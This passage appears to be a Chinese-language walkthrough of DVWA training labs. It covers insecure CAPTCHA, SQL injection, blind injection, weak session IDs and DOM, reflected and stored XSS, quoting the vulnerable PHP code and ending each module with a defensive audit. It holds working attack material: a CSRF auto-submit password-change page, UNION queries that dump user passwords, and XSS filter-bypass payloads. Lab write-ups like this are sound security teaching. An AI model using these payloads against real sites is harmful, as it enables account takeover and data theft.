$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
方法
-
这里修改密码的过程有两步,第一步是
CAPTCHA
的验证环节,第二步是将参数POST
到后台。 -
由于两步操作的判断是完全分开、没有联系的,于是可以忽略第一步的验证,直接提交修改申请。
-
两个步骤对应的
step
参数不同,可以通过抓取报文并且修改step
,来实现验证的绕过。 -
代码没有对
CSRF
进行任何防护,可以利用CSRF
漏洞进行攻击。 -
不进行验证,直接输入对密码的修改。
-
点击
change
后,step
本应提交为1
,此处进行抓包修改。 -
修改之后则绕过了验证阶段,直接进行密码修改。
-
第二种方法,同
CSRF
攻击一样,构造攻击页面。
<html>
<body onload="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://127.0.0.1/DVWA-master/vulnerabilities/captcha/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="step" value="2">
<input type="hidden" name="Change" value="Change">
</form>
</div>
</body>
</html>
- 用户点击攻击页面后自动提交请求,并跳转到修改密码的初始页面。
Medium
Code
// Same as Low
...
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
...
方法
-
Medium
级别基于Low
的基础,在第二步判断增加了对第一步是否通过的验证,即判断参数passed_captcha
是否为真。 -
passed_captcha
参数是通过POST
提交的,整个请求也是POST
请求,故可以人为加上此参数。 -
同
Low
一样,直接跳过验证环节,提交请求。 -
使用
Burp Suite
抓取包并修改报文,将步骤直接调整到第二步,第二步的验证伪造为已验证,即直接加入passed_captcha
参数,混入POST
的参数提交。 -
Forward
提交请求,发现完成绕过。 -
利用
CSRF
漏洞攻击时,攻击页面需要添加一条参数提交。
<input type="hidden" name="passed_captcha" value="true">
High
Code
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Same as Medium
...
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
...
// Generate Anti-CSRF token
generateSessionToken();
?>
方法
-
High
级别将验证流程合并,通过连续的判断将两个步骤相同的部分合并,避免了第一步验证的直接改参绕过。 -
加入了
token
机制,有效防止CSRF
漏洞攻击,下面不再做攻击页面。 -
看到了后端代码,发现即使不验证也有机会绕过验证,于是针对
g-recaptcha-response
和HTTP_USER_AGENT
操作。 -
同样不验证,直接提交请求并对相关参数进行抓包修改。
-
提交后,参数完成了伪造绕过。
Impossible
Code
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码审计
- 使用
Anti-CSRF token
机制防御CSRF攻击。 - 验证步骤合并为同一步,无需分开,使得验证环节无法绕过。
- 要求输入修改之前的密码,攻击者无法绕过。
- 利用
PDO
技术输入内容过滤,防止了sql
注入。
SQL Injection
Low
Link
Code
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
方法
query
为姓名的查询语句,最后直接与客户端传过来的参数拼接。result
获得数据库查询后的结果,若没有查询到则判断是否存在数据库出错或者数据库链接。row
获得查询结果中的各行,通过键值赋值给变量first
和last
。
mysql_query( mysqli
$link
, string$query
, int$resultmode
= MYSQLI_STORE_RESULT ) : mixed
link
为返回的mysqli
实例,表示连接的数据库。对query
查询语句内容进行查询,将查询结果返回。die( string
$status
) : void强制退出当前脚本,并打印推出信息
status
。is_object( mixed
$var
) : bool判断变量
var
是否为一个对象。mysqli_error ( mysqli
$link
) : string返回最近调用函数的最后一个错误描述。
mysqli_connect_error ( ) : string
返回最近调用mysqli_connect()的最后一个错误描述。
mysqli_fetch_assoc ( mysqli_result
$result
) : array返回与获取的行相对应的关联数组;如果没有更多行,则返回
null
。mysqli_close ( mysqli
$link
) : bool关闭数据库连接
link
。
注入类型
-
假装没有偷看后端代码,在
SQL
注入之前需要判断是字符型还是数字型注入,两者后端代码区别如下。 -
#字符型 SELECT first_name, last_name FROM users WHERE user_id = '$id'; #数字型 SELECT first_name, last_name FROM users WHERE user_id = $id;
-
故需先测试注入类型,假设为数字型注入,此处先输入
1 and 1=2
。 -
若为数字型注入,该逻辑判断错误,应该不做输出。
-
但这里仍有输出,与假设矛盾,故判断为字符型注入。
数据库信息
-
依次键入
1' order by x#
,此语句意为:将查询结果按照第x
列顺序排列。 -
x
逐渐增大,直到报错为止。 -
故得知查询得到的字段数为
2
。 -
知道输出列数后,即可使用
UNION
操作符,构造相同列的SELECT
查询语句,进行数据库信息查询。 -
如想要知道数据库的版本和当前库名,可以输入
1' union select database(),version()#
,得到如下输出。 -
下面对数据库信息获取的操作,大致查询顺序做一个总结。
-
#查看数据库的所有库名以及对应库中表的个数 ... UNION SELECT table_schema,count(*) FROM information_schema.tables GROUP BY table_schema# #查看当前数据库中的表名字 ... UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() # #查看user表的列 ... UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'# #查看每个用户信息以及密码 ... UNION SELECT group_concat(user_id,first_name,last_name),group_concat(password) FROM users #
Medium
Code
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
// Same as Low
...
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
方法
- 前端页面使用了
<select>
元素下拉菜单选择,并结合POST
提交方式以控制用户输入。 - 在
Low
基础上,对输入内容进行了特殊字符的转义。
mysqli_real_escape_string( mysqli
$link
, string$escapestr
) : string对
escapestr
字符串中的NUL (ASCII 0)
,\n
,\r
,\
,'
,"
和Control-Z
进行转义,返回转义完成的字符串。
-
使用
Burp Suite
修改报文,可以绕过输入端限制。 -
首先查看注入类型,假设为数字型注入,输入
1' and '1'='2
。 -
发现报错,与假设矛盾,故为数字型注入。
-
输入过滤绕过后,剩余步骤重复上文攻击流程。
High
Code
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
// Same as Medium
...
}
?>
方法
-
High
的改动并不多,这里采用了页面提交的方式。 -
query
查询语句限制了查询的语句条数。 -
两种注入类型的判别在上面的级别中已经给出,这里不多做赘述,直接按照字符型注入进行。
-
在输入页面中,确保以
#
结尾,即可绕过查询个数限制。 -
其余注入方法同
Low
。
Impossible
Code
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码审计
- 加入了防止
CSRF
攻击的token
机制(已经介绍过很多遍了)。 - 使用
is_numeric()
函数判断输入是否为合法的数字输入。 - 使用
PDO
技术对SQL
查询进行预处理,下面会给出大致过程。 - 在查询中只允许一条输出,隔绝了
High
级别的绕过。
is_numeric ( mixed
$var
) : bool判断变量
var
是否为数字或数字串。
PDO
机制 (此处参考网上大佬的总结)
预编译
prepare
- 本地调用
PDO prepare()
中内置的mysql_real_escape_string()
函数,以预先完成编译。绑定参数
bindParam
- 其中对应参数使用命名参数的方法占位,在输入串完成过滤后,再进行替换。
- 第三个参数定义了规定的参数类型,此处为
PDO:PARAM_INT
整型。- 其实和转义再拼接没有区别,只是这里由
PDO
本地驱动转义。PDOStatement::rowCount ( ) : int
- 返回受相应
PDOStatement
对象执行的最后一个DELETE
,INSERT
或UPDATE
语句影响的行数。
SQL Injection (Blind)
Link
Low
Code
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
方法
-
盲注在
SQL
的基础上,屏蔽了查询输出,但是仍显示或者表现出查询结果的正确与否,故使用AND
连接语句查询。 -
此处对提交的参数使用了字符型注入,没有对参数进行任何防护,根据查询到的语句条数显示成功与否。
-
具体盲注内容参考我之前写的博客,这里只是介绍绕过检测的方法。
Medium
Code
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Same as Low
...
方法
- 前端页面部分使用了
<select>
元素提交POST
参数的方法,在后端对查询语句进行了转义字符过滤。 - 使用
Burp Suite
抓包改参数,测试方式同Low
。
High
Code
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
方法
- 将提交页面分离,查询失败随机决定休眠时间,隔绝大量恶意自动注入,使得
SQLMAP
等注入工具被阻碍。 LIMIT
限制了数量的查询,可使用#
屏蔽。- 不过对于提交页面仍然存在
SQL
盲注,并且为数字型注入,注入方法同Low
。
Impossible
Code
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码审计
- 日常
check token
。 - 使用
PDO
机制,实现预编译,防止转义字符和#
。 - 无法注释后,预编译导致
LIMIT 1
无法被绕过。
Weak Session IDs
Link
Low
Code
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
方法
- 使用
POST
上传参数时候,设置SessionID
。 - 若设置过,则使用上一次的
SessionID
直接+1
,若未设置,则初始化为0
。 - 这样的
SessionID
太过简单,并且很容易冲突,无法标识单一个体。 - 找到每次
dvwaSession
的变化规律,使用BurpSuite
抓包查看dvwaSession
。 - 使用他人的
dvwaSession
以及其他cookie
内容,尝试删除cookie
后登录。 - 能够登录,说明
cookie
构造成功(虽然是自己已经看到的)。
Medium
Code
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>
方法
- 使用时间函数获取当前时间作为
cookie
,故同一时间的会话将会发生冲突。 - 其余设置同
Low
。
time( ) : int 返回当前的
GMT
时间,即Unix
纪元起到现在的秒数。
- 使用时间戳在线转换器构造时间点,诱骗受害者在该时间点击,形成
SessionID
碰撞(感觉不太可能)。 - 或者在受害者最近一次登录后,通过获取其登入时间点,构造时间戳。
- 使用预测的
dvwaSession
登入即可。
High
Code
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
方法
- 基本内容同
Low
,在累加的基础上增加了md5
加密。
setcookie( string
$name
, string$value
= “” , int$expires
= 0 , string$path
= “” , string$domain
= “” , bool$secure
=false
, bool$httponly
=false
) : bool 即定义一条cookie
,名为name
,值为value
,失效期为expires
(GMT
时间),path
为有效的服务器路径,domain
为有效的域名,secure
表示是否建立HTTPS
连接,httponly
表示是否只通过HTTP
协议访问。
- 获取现有
dvwaSession
后,使用网上的md5在线加解密工具得到明文。 - 找到明文规律后,构造
dvwaSession
实现无登录访问。
Impossible
- 使用
DVWA
的Impossible
级别进行审计。
Code
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>
代码审计
- 使用
SHA1
加密,使得SessionID
难以破译。 - 明文内容为随机数+
GMT
时间+字符串,增加了伪造的难度。 - 但仍存在
SessionID
冲突的情况。
sha1( string
$string
, bool$binary
=false
) : string计算字符串的SHA-1
散列,binary
为TRUE
时为二进制,FALSE
时为十六进制。mt_rand( int
$min
, int$max
) : int 使用Mersenne Twister的算法生成随机数,若有参数则介于min
和max
,若无参数则生成0
到mt_getrandmax()之间的随机数。
XSS(DOM)
Link
介绍
- 每个页面都有自己的
DOM
树,通过修改DOM
树使得恶意脚本被执行。 DOM
即Document Object Model
文档对象模型,所以后面代码主要注重前端。
Low
Code
- 前端
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
</select>
- 后端
<?php
# No protections, anything goes
?>
方法
- 前端将
GET
上传的default
参数加入到<select>
元素的选项卡中,每当页面被呈现时,恶意代码就可以运行。 - 后端没有做任何防护,意思就是随便注。
document.location.href.indexOf(str)
返回字符串str
第一个字符的下标。
document.location.href.substring(start, end)
构造下标从start
到end
的子串。
- 直接在
URL
中通过修改default
参数上传XSS
注入。
Medium
Code
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
方法
- 前端代码没变(之后也应该不变),后端增加了对
<script
的过滤。 - 这里可以使用没有被屏蔽的标签进行注入。
- 将
<option>
和<select>
标签闭合,保证img
标签可以插入。 Payload
如下
</option></select><img src=1 οnerrοr=alert('XSS')>
- 此时
src
链接必然找不到图片并且报错,onerror
收到后即执行XSS
语句。
High
Code
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
方法
- 设置白名单,只有规定的几种选项可以输入。
- 若不在白名单内,默认设置为
English
。 - 使用
&
或者#
分隔参数,$_GET['default']
指向分隔符之前的内容,参与后端判断语句。 - 根据前端代码可知,分隔符之后的内容也会载入到前端页面中,故可实现恶意代码的注入。
Impossible
Code
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
</select>
代码审计
- 之前的恶意代码之所以能够运行就是因为在呈现页面元素时,将
URL
中已经编好码的参数使用decodeURI()
解码,解码后的代码才可以执行。 - 前端不解码直接呈现参数
lang
,导致恶意代码编码后无法被解析。
XSS(Reflected)
Link
介绍
- 攻击者构造恶意链接诱骗受害者点击,受害者点击后便触发恶意代码运行,完成攻击。
Low
Code
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
方法
- 前端负责输入,后端接收到
name
参数后没有防范措施,直接打印在屏幕上。 - 直接输入
XSS
语句即可。
Medium
Code
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
方法
- 使用
str_replace()
函数,将<script>
过滤后打印。 - 借用
str_replace
的过滤机制,<script>
被替换为空字符串,构造Payload
。
<scr<script>ipt>alert('XSS');</script>
High
Code
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
方法
- 使用正则表达式过滤法,杜绝了构造
<script>
的方法。 - 黑名单太过单一,可以使用其他标签进行注入。
- 使用
<img>
元素,Payload
如下。
<img src=1 οnerrοr=alert('XSS')>
Impossible
Code
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码审计
- 日常
check token
。 htmlspecialchars()
函数将name
参数转化后,代码无法运行。
htmlspecialchars( string
$string
, int$flags
= ENT_COMPAT | ENT_HTML401 , string$encoding
= ini_get(“default_charset”) , bool$double_encode
=true
) : string将特殊字符转换为HTML
实体。
XSS(Stored)
Link
介绍
- 攻击者将恶意代码上传到服务器端存储(如评论区),每当服务器展示时,恶意代码都会运行。
Low
Code
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
方法
- 对
name
和message
参数进行修剪,去除多余字符。 - 在前端页面对
name
的大小限制为10
个字符,对message
限制为50
个字符。 - 使用
stripslashes()
函数对message
进行转义字符过滤,预防SQL
注入。
trim( string
$str
, string$character_mask
= " \t\n\r\0\x0B" ) : string除去以下特殊字符。
字符 意义 " " 空格 “\t” 制表符 “\n” 换行符 “\r” 回车符 “\0” 空字节符 “\x0B” 垂直制表符
name
限制太大,只能从message
下手,并且没有任何XSS
防御手段,直接键入XSS
语句即可。
Medium
Code
<?php
...
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
...
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
...
方法
- 使用
addslashes()
函数对message
中的某些字符进行过滤。 - 使用
strip_tags()
函数去除标签。 - 对
name
中的<script>
标签进行屏蔽。
strip_tags( string
$str
, string$allowable_tags
= ? ) : string从字符串str
中去除HTML
和PHP
标签。addslashes( string
$str
) : string在字符串str
中的单引号('
)、双引号("
)、反斜线(\
)与NUL
(null
字符)前,加上反斜线(\
)转义。
-
message
这个注入点被完全屏蔽了,但是name
只是简单过滤,于是从name
下手。 -
前端对
name
限制了文本长度,打开F12
修改前端限制。 -
使用
name
作为注入点,对<script>
的屏蔽构造Payload
。
<scr<script>ipt>alert('XSS');</scr<script>ipt>
High
Code
<?php
...
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
...
方法
- 知道
Medium
会放过name
注入后,对<script>
进行了正则表达式的完全屏蔽。 - 屏蔽了
<script>
标签后,使用其他标签注入XSS
语句即可。
Impossible
Code
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
